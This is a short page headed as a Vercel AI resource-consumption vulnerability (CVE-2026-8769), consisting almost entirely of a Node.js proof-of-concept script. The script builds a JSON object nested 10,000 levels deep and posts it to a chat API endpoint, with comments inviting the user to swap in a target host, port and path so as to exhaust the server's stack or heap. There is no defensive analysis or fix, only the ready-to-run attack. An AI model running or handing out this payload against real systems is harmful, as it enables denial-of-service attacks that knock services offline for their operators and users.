CVE-2026-8769 Vercel AI资源消耗漏洞

// Proof of Concept for CVE-2026-8769 // This script attempts to trigger resource consumption by sending a deeply nested JSON object. const http = require('http'); // Function to generate a deeply nested JSON object function generateDeepJson(depth) { let result = {}; let current = result; for (let i = 0; i < depth; i++) { current['a' + i] = {}; current = current['a' + i]; } current['final'] = 'payload'; return JSON.stringify(result); } const postData = generateDeepJson(10000); // High depth to consume stack/heap const options = { hostname: 'localhost', // Replace with target host port: 3000, // Replace with target port path: '/api/chat', // Replace with vulnerable endpoint method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) } }; const req = http.request(options, (res) => { console.log(`STATUS: ${res.statusCode}`); res.setEncoding('utf8'); res.on('data', (chunk) => { console.log(`BODY: ${chunk}`); }); }); req.on('error', (e) => { console.error(`problem with request: ${e.message}`); }); req.write(postData); req.end();
